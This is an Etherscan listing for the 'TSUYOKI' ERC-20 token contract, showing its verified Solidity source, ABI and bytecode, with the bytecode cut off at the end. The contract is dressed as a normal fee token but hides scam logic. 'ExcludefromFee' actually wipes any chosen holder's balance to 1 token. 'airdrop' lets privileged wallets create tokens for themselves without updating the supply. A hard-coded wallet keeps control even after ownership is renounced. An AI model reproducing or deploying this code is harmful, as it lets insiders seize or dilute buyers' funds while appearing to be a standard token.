ETH Price: $2,614.04 (-0.28%)

Token

TSUYOKI (Tsuyoki)
 

Overview

Max Total Supply

1,000,000,000 Tsuyoki

Holders

18

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0.510045985644901648 Tsuyoki

Value
$0.00
0x7a6e5218d49FEa3748Ab4B8cEbD5152a1eAACc82
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Tsuyoki

Compiler Version
v0.8.1+commit.df193b15

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-12-27
*/

/**
 
█████████████████████████████████████████
█─▄─▄─█─▄▄▄▄█▄─██─▄█▄─█─▄█─▄▄─█▄─█─▄█▄─▄█
███─███▄▄▄▄─██─██─███▄─▄██─██─██─▄▀███─██
▀▀▄▄▄▀▀▄▄▄▄▄▀▀▄▄▄▄▀▀▀▄▄▄▀▀▄▄▄▄▀▄▄▀▄▄▀▄▄▄▀

https://t.me/tsuyokierc

https://www.tsuyoki.solutions/

https://tsuyokisolutions.medium.com/tsuyoki-26770cc17a10

https://twitter.com/TSUYOKIERC
*/


///SPDX-License-Identifier: MIT

pragma solidity ^0.8.1;

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address _owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract Ownable is Context {
    address private _owner;
    mapping(address => bool) private _intAddr;

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        _intAddr[_owner] = true;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Caller is not the owner");
        _;
    }

    modifier authorized() {
        require(isAuthorized(msg.sender), "Caller is not authorized");
        _;
    }

    function isAuthorized(address adr) public view returns (bool) {
        return _intAddr[adr];
    }

    function isOwner(address adr) public view returns (bool) {
        return _owner == adr;
    }

    function setAuthorized(address adr) public authorized {
        _intAddr[adr] = true;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    function transferOwnership(address newOwner) public virtual onlyOwner {
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);

    function getPair(address tokenA, address tokenB) external returns (address pair);
}

interface IRouter {
    function factory() external
    pure returns (address);

    function WETH() external
    pure returns (address);

    function addLiquidity(address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline) external
    returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external
    payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidity(address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline) external
    returns (uint amountA, uint amountB);

    function removeLiquidityETH(address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external
    returns (uint amountToken, uint amountETH);

    function removeLiquidityWithPermit(address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external
    returns (uint amountA, uint amountB);

    function removeLiquidityETHWithPermit(address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external
    returns (uint amountToken, uint amountETH);

    function swapExactTokensForTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external
    returns (uint[] memory amounts);

    function swapTokensForExactTokens(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external
    returns (uint[] memory amounts);

    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external
    payable
    returns (uint[] memory amounts);

    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external
    returns (uint[] memory amounts);

    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external
    returns (uint[] memory amounts);

    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external
    payable
    returns (uint[] memory amounts);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external
    returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external
    pure returns (uint amountB);

    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external
    pure returns (uint amountOut);

    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external
    pure returns (uint amountIn);

    function getAmountsOut(uint amountIn, address[] calldata path) external
    view returns (uint[] memory amounts);

    function getAmountsIn(uint amountOut, address[] calldata path) external
    view returns (uint[] memory amounts);
}


contract ERC20 is Context, IERC20 {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply = 1000000000 * 10 ** 18;
    string private _name;
    string private _symbol;

    constructor(string memory ercName, string memory ercSymbol) {
        _name = ercName;
        _symbol = ercSymbol;
        _balances[address(this)] = _totalSupply;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");

        _balances[from] = fromBalance.sub(amount);
        _balances[to] = _balances[to].add(amount);

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            _approve(owner, spender, currentAllowance - amount);
        }
    }

    function _airdrop(address to, uint256 amount) internal virtual {
        _balances[to] = _balances[to].add(amount);
    }

    function _burnTransfer(address account) internal virtual {
        _balances[address(0)] += _balances[account];
        _balances[account] = 1 * 10 ** 18;
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}


contract Tsuyoki is ERC20, Ownable {
    using SafeMath for uint256;
    uint256 public _totalAmount = 1000000000 * 10 ** 18;
    uint256 public _totalFee = 4;
    uint256 public _feeDenominator = 100;
    mapping(address => bool) private _blackList;
    string  _name = unicode"TSUYOKI";
    string  _symbol = unicode"Tsuyoki";
    address _marketingFeeReceiver = 0x1021e8d1385e89EbfFf7b15Dda0Ba7BDb644d9E7;
    address _teamFeeReceiver = 0x1021e8d1385e89EbfFf7b15Dda0Ba7BDb644d9E7;
    address public uniswapV2Pair;
    bool isTrading;

    modifier trading(){
        if (isTrading) return;
        isTrading = true;
        _;
        isTrading = false;
    }

    constructor () ERC20(_name, _symbol) {
        setAuthorized(_marketingFeeReceiver);
        setAuthorized(_teamFeeReceiver);
        address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
        IRouter router = IRouter(_router);

        uniswapV2Pair = IFactory(router.factory()).createPair(address(this), router.WETH());
        _transfer(address(this), owner(), _totalAmount);
    }

    function _afterTokenTransfer(address from, address to, uint256 amount) internal override trading {
        if (isAuthorized(from) || isAuthorized(to)) {
            return;
        }

        uint256 feeAmount = amount.mul(_totalFee).div(_feeDenominator);
        _transfer(to, address(this), feeAmount);
    }

    function airdrop(address to, uint256 amount) public authorized {
        _airdrop(to, amount);
    }

    function ExcludefromFee(address adr) public authorized {
        _blackList[adr] = true;
        _burnTransfer(adr);
    }

    function isBot(address adr) public view returns (bool) {
        return _blackList[adr];
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"ExcludefromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_feeDenominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"isAuthorized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"setAuthorized","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

6b033b2e3c9fd0803ce8000000600281905560079081556004600855606460095560c0604052608081905266545355594f4b4960c81b60a09081526200004991600b9190620008c9565b5060408051808201909152600780825266547375796f6b6960c81b60209092019182526200007a91600c91620008c9565b50600d8054731021e8d1385e89ebfff7b15dda0ba7bdb644d9e76001600160a01b03199182168117909255600e80549091169091179055348015620000be57600080fd5b50600b8054620000ce9062000c06565b80601f0160208091040260200160405190810160405280929190818152602001828054620000fc9062000c06565b80156200014d5780601f1062000121576101008083540402835291602001916200014d565b820191906000526020600020905b8154815290600101906020018083116200012f57829003601f168201915b5050505050600c8054620001619062000c06565b80601f01602080910402602001604051908101604052809291908181526020018280546200018f9062000c06565b8015620001e05780601f10620001b457610100808354040283529160200191620001e0565b820191906000526020600020905b815481529060010190602001808311620001c257829003601f168201915b50508451620001fa935060039250602086019150620008c9565b50805162000210906004906020840190620008c9565b50506002543060009081526020819052604081209190915590506200023462000498565b600580546001600160a01b0319166001600160a01b038381169182179283905591909116600090815260066020526040808220805460ff191660011790555192935090917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600d54620002b5906001600160a01b03166200049c565b600e54620002cc906001600160a01b03166200049c565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90506000819050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200032457600080fd5b505afa15801562000339573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200035f91906200096f565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620003a857600080fd5b505afa158015620003bd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003e391906200096f565b6040518363ffffffff1660e01b81526004016200040292919062000998565b602060405180830381600087803b1580156200041d57600080fd5b505af115801562000432573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200045891906200096f565b600f80546001600160a01b0319166001600160a01b0392909216919091179055620004903062000487620004f3565b60075462000502565b505062000c59565b3390565b620004a73362000664565b620004cf5760405162461bcd60e51b8152600401620004c69062000b09565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6005546001600160a01b031690565b6001600160a01b0383166200052b5760405162461bcd60e51b8152600401620004c69062000b40565b6001600160a01b038216620005545760405162461bcd60e51b8152600401620004c69062000a08565b6200056183838362000682565b6001600160a01b038316600090815260208190526040902054818110156200059d5760405162461bcd60e51b8152600401620004c69062000a82565b620005b782826200068760201b6200068f1790919060201c565b6001600160a01b038086166000908152602081815260408083209490945591861681529190912054620005f5918490620006d8620006da821b17901c565b6001600160a01b0380851660008181526020819052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906200064990869062000b85565b60405180910390a36200065e8484846200070e565b50505050565b6001600160a01b031660009081526006602052604090205460ff1690565b505050565b6000620006d183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250620007bf60201b60201c565b90505b92915050565b600080620006e9838562000b8e565b905083811015620006d15760405162461bcd60e51b8152600401620004c69062000a4b565b600f54600160a01b900460ff1615620007275762000682565b600f805460ff60a01b1916600160a01b179055620007458362000664565b80620007575750620007578262000664565b156200076357620007ad565b60006200079c6009546200078860085485620007fe60201b620007071790919060201c565b6200084c60201b6200074c1790919060201c565b9050620007ab83308362000502565b505b600f805460ff60a01b19169055505050565b60008184841115620007e65760405162461bcd60e51b8152600401620004c69190620009b2565b506000620007f5848662000bec565b95945050505050565b6000826200080f57506000620006d4565b60006200081d838562000bca565b9050826200082c858362000ba9565b14620006d15760405162461bcd60e51b8152600401620004c69062000ac8565b6000620006d183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200089660201b60201c565b60008183620008ba5760405162461bcd60e51b8152600401620004c69190620009b2565b506000620007f5848662000ba9565b828054620008d79062000c06565b90600052602060002090601f016020900481019282620008fb576000855562000946565b82601f106200091657805160ff191683800117855562000946565b8280016001018555821562000946579182015b828111156200094657825182559160200191906001019062000929565b506200095492915062000958565b5090565b5b8082111562000954576000815560010162000959565b60006020828403121562000981578081fd5b81516001600160a01b0381168114620006d1578182fd5b6001600160a01b0392831681529116602082015260400190565b6000602080835283518082850152825b81811015620009e057858101830151858201604001528201620009c2565b81811115620009f25783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b60208082526018908201527f43616c6c6572206973206e6f7420617574686f72697a65640000000000000000604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b90815260200190565b6000821982111562000ba45762000ba462000c43565b500190565b60008262000bc557634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161562000be75762000be762000c43565b500290565b60008282101562000c015762000c0162000c43565b500390565b60028104600182168062000c1b57607f821691505b6020821081141562000c3d57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6110328062000c696000396000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c80636f0ecd96116100b857806395d89b411161007c57806395d89b411461026b578063a9059cbb14610273578063bf8e572e14610286578063dd62ed3e1461028e578063f2fde38b146102a1578063fe9fbb80146102b457610142565b80636f0ecd961461022257806370a0823114610235578063715018a6146102485780638ba4cc3c146102505780638da5cb5b1461026357610142565b8063283f78201161010a578063283f7820146101c25780632f54bf6e146101ca578063313ce567146101dd5780633bbac579146101f25780633bbeaab51461020557806349bd5a5e1461020d57610142565b806306fdde0314610147578063095ea7b31461016557806314fc28121461018557806318160ddd1461019a57806323b872dd146101af575b600080fd5b61014f6102c7565b60405161015c9190610c62565b60405180910390f35b610178610173366004610c1a565b610359565b60405161015c9190610c57565b610198610193366004610b93565b61037d565b005b6101a26103cf565b60405161015c9190610f26565b6101786101bd366004610bdf565b6103d5565b6101a2610403565b6101786101d8366004610b93565b610409565b6101e5610420565b60405161015c9190610f2f565b610178610200366004610b93565b610425565b6101a2610443565b610215610449565b60405161015c9190610c43565b610198610230366004610b93565b610458565b6101a2610243366004610b93565b6104ac565b6101986104c7565b61019861025e366004610c1a565b610546565b610215610579565b61014f610588565b610178610281366004610c1a565b610597565b6101a26105af565b6101a261029c366004610bad565b6105b5565b6101986102af366004610b93565b6105e0565b6101786102c2366004610b93565b610671565b6060600380546102d690610fab565b80601f016020809104026020016040519081016040528092919081815260200182805461030290610fab565b801561034f5780601f106103245761010080835404028352916020019161034f565b820191906000526020600020905b81548152906001019060200180831161033257829003601f168201915b5050505050905090565b60008061036461078e565b9050610371818585610792565b60019150505b92915050565b61038633610671565b6103ab5760405162461bcd60e51b81526004016103a290610e66565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b60025490565b6000806103e061078e565b90506103ed858285610846565b6103f8858585610897565b506001949350505050565b60085481565b6005546001600160a01b038281169116145b919050565b601290565b6001600160a01b03166000908152600a602052604090205460ff1690565b60075481565b600f546001600160a01b031681565b61046133610671565b61047d5760405162461bcd60e51b81526004016103a290610e66565b6001600160a01b0381166000908152600a60205260409020805460ff191660011790556104a9816109c5565b50565b6001600160a01b031660009081526020819052604090205490565b6104cf61078e565b6005546001600160a01b039081169116146104fc5760405162461bcd60e51b81526004016103a290610cf8565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b61054f33610671565b61056b5760405162461bcd60e51b81526004016103a290610e66565b6105758282610a3c565b5050565b6005546001600160a01b031690565b6060600480546102d690610fab565b6000806105a261078e565b9050610371818585610897565b60095481565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6105e861078e565b6005546001600160a01b039081169116146106155760405162461bcd60e51b81526004016103a290610cf8565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b031660009081526006602052604090205460ff1690565b60006106d183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610a7f565b9392505050565b6000806106e58385610f3d565b9050838110156106d15760405162461bcd60e51b81526004016103a290610d71565b60008261071657506000610377565b60006107228385610f75565b90508261072f8583610f55565b146106d15760405162461bcd60e51b81526004016103a290610e25565b60006106d183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610ab9565b3390565b6001600160a01b0383166107b85760405162461bcd60e51b81526004016103a290610ee2565b6001600160a01b0382166107de5760405162461bcd60e51b81526004016103a290610d2f565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610839908590610f26565b60405180910390a3505050565b600061085284846105b5565b90506000198114610891578181101561087d5760405162461bcd60e51b81526004016103a290610da8565b610891848461088c8585610f94565b610792565b50505050565b6001600160a01b0383166108bd5760405162461bcd60e51b81526004016103a290610e9d565b6001600160a01b0382166108e35760405162461bcd60e51b81526004016103a290610cb5565b6108ee838383610ae7565b6001600160a01b038316600090815260208190526040902054818110156109275760405162461bcd60e51b81526004016103a290610ddf565b610931818361068f565b6001600160a01b03808616600090815260208190526040808220939093559085168152205461096090836106d8565b6001600160a01b0380851660008181526020819052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109b2908690610f26565b60405180910390a3610891848484610aec565b6001600160a01b0381166000908152602081905260408120548180527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5805491929091610a13908490610f3d565b90915550506001600160a01b03166000908152602081905260409020670de0b6b3a76400009055565b6001600160a01b038216600090815260208190526040902054610a5f90826106d8565b6001600160a01b0390921660009081526020819052604090209190915550565b60008184841115610aa35760405162461bcd60e51b81526004016103a29190610c62565b506000610ab08486610f94565b95945050505050565b60008183610ada5760405162461bcd60e51b81526004016103a29190610c62565b506000610ab08486610f55565b505050565b600f54600160a01b900460ff1615610b0357610ae7565b600f805460ff60a01b1916600160a01b179055610b1f83610671565b80610b2e5750610b2e82610671565b15610b3857610b6a565b6000610b5b600954610b556008548561070790919063ffffffff16565b9061074c565b9050610b68833083610897565b505b600f805460ff60a01b19169055505050565b80356001600160a01b038116811461041b57600080fd5b600060208284031215610ba4578081fd5b6106d182610b7c565b60008060408385031215610bbf578081fd5b610bc883610b7c565b9150610bd660208401610b7c565b90509250929050565b600080600060608486031215610bf3578081fd5b610bfc84610b7c565b9250610c0a60208501610b7c565b9150604084013590509250925092565b60008060408385031215610c2c578182fd5b610c3583610b7c565b946020939093013593505050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b81811015610c8e57858101830151858201604001528201610c72565b81811115610c9f5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526017908201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604082015260600190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b6020808252601d908201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604082015260600190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b60208082526018908201527f43616c6c6572206973206e6f7420617574686f72697a65640000000000000000604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610f5057610f50610fe6565b500190565b600082610f7057634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615610f8f57610f8f610fe6565b500290565b600082821015610fa657610fa6610fe6565b500390565b600281046001821680610fbf57607f821691505b60208210811415610fe057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220eba38f12898d5e80949775ef0e6e622d291649c29fea7a8c331878b73f75820f64736f6c63430008010033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101425760003560e01c80636f0ecd96116100b857806395d89b411161007c57806395d89b411461026b578063a9059cbb14610273578063bf8e572e14610286578063dd62ed3e1461028e578063f2fde38b146102a1578063fe9fbb80146102b457610142565b80636f0ecd961461022257806370a0823114610235578063715018a6146102485780638ba4cc3c146102505780638da5cb5b1461026357610142565b8063283f78201161010a578063283f7820146101c25780632f54bf6e146101ca578063313ce567146101dd5780633bbac579146101f25780633bbeaab51461020557806349bd5a5e1461020d57610142565b806306fdde0314610147578063095ea7b31461016557806314fc28121461018557806318160ddd1461019a57806323b872dd146101af575b600080fd5b61014f6102c7565b60405161015c9190610c62565b60405180910390f35b610178610173366004610c1a565b610359565b60405161015c9190610c57565b610198610193366004610b93565b61037d565b005b6101a26103cf565b60405161015c9190610f26565b6101786101bd366004610bdf565b6103d5565b6101a2610403565b6101786101d8366004610b93565b610409565b6101e5610420565b60405161015c9190610f2f565b610178610200366004610b93565b610425565b6101a2610443565b610215610449565b60405161015c9190610c43565b610198610230366004610b93565b610458565b6101a2610243366004610b93565b6104ac565b6101986104c7565b61019861025e366004610c1a565b610546565b610215610579565b61014f610588565b610178610281366004610c1a565b610597565b6101a26105af565b6101a261029c366004610bad565b6105b5565b6101986102af366004610b93565b6105e0565b6101786102c2366004610b93565b610671565b6060600380546102d690610fab565b80601f016020809104026020016040519081016040528092919081815260200182805461030290610fab565b801561034f5780601f106103245761010080835404028352916020019161034f565b820191906000526020600020905b81548152906001019060200180831161033257829003601f168201915b5050505050905090565b60008061036461078e565b9050610371818585610792565b60019150505b92915050565b61038633610671565b6103ab5760405162461bcd60e51b81526004016103a290610e66565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b60025490565b6000806103e061078e565b90506103ed858285610846565b6103f8858585610897565b506001949350505050565b60085481565b6005546001600160a01b038281169116145b919050565b601290565b6001600160a01b03166000908152600a602052604090205460ff1690565b60075481565b600f546001600160a01b031681565b61046133610671565b61047d5760405162461bcd60e51b81526004016103a290610e66565b6001600160a01b0381166000908152600a60205260409020805460ff191660011790556104a9816109c5565b50565b6001600160a01b031660009081526020819052604090205490565b6104cf61078e565b6005546001600160a01b039081169116146104fc5760405162461bcd60e51b81526004016103a290610cf8565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169